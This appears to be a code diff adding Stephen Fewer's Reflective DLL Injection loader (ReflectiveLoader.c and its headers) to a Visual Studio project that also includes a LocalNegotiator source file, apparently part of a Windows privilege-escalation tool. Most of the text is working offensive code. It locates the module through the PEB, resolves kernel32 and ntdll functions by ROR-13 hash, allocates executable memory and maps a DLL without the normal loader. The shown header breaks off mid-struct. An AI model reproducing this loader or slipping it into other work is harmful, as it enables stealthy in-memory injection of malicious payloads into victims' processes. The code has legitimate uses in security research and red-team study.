<ClCompile Include="LocalNegotiator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,52 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
#pragma once

View File

@ -0,0 +1,572 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
#ifdef ENABLE_OUTPUTDEBUGSTRING
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
#else /* ENABLE_OUTPUTDEBUGSTRING */
#define OUTPUTDBG(str) do{}while(0)
#endif
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef ENABLE_STOPPAGING
VIRTUALLOCK pVirtualLock = NULL;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
OUTPUTDEBUG pOutputDebug = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_ARM
uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#else _WIN32
uiBaseAddress = __readfsdword(0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
ULONG_PTR tmpValC = uiValueC;
do
{
tmpValC = ror((DWORD)tmpValC);
// normalize to uppercase if the module name is in lowercase
if (*((BYTE *)uiValueB) >= 'a')
tmpValC += *((BYTE *)uiValueB) - 0x20;
else
tmpValC += *((BYTE *)uiValueB);
uiValueB++;
} while (--usCounter);
uiValueC = tmpValC;
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
#ifdef ENABLE_STOPPAGING
usCounter++;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
usCounter++;
#endif
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH
|| dwHashValue == GETPROCADDRESS_HASH
|| dwHashValue == VIRTUALALLOC_HASH
#ifdef ENABLE_STOPPAGING
|| dwHashValue == VIRTUALLOCK_HASH
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
|| dwHashValue == OUTPUTDEBUG_HASH
#endif
)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
#ifdef ENABLE_STOPPAGING
else if (dwHashValue == VIRTUALLOCK_HASH)
pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray));
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
else if (dwHashValue == OUTPUTDEBUG_HASH)
pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray));
#endif
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA
&& pGetProcAddress
&& pVirtualAlloc
#ifdef ENABLE_STOPPAGING
&& pVirtualLock
#endif
&& pNtFlushInstructionCache
#ifdef ENABLE_OUTPUTDEBUGSTRING
&& pOutputDebug
#endif
)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#ifdef ENABLE_STOPPAGING
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
#endif
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume there is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics)
{
OUTPUTDBG("Loading library: ");
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
OUTPUTDBG("\n");
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
if (!uiLibraryAddress)
{
OUTPUTDBG("Loading library FAILED\n");
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
continue;
}
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
OUTPUTDBG("Resolving function: ");
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
OUTPUTDBG("\n");
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
OUTPUTDBG("Flushing the instruction cache");
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init(SOCKET socket);
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,223 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
// Enable this define to turn on OutputDebugString support
//#define ENABLE_OUTPUTDEBUGSTRING 1
// Enable this define to turn on locking of memory to prevent paging
#define ENABLE_STOPPAGING 1
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#ifdef ENABLE_STOPPAGING
typedef LPVOID(WINAPI * VIRTUALLOCK)(LPVOID, SIZE_T);
#define VIRTUALLOCK_HASH 0x0EF632F2
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
typedef LPVOID(WINAPI * OUTPUTDEBUG)(LPCSTR);
#define OUTPUTDEBUG_HASH 0x470D22BC
#endif
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD _hash(char * c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
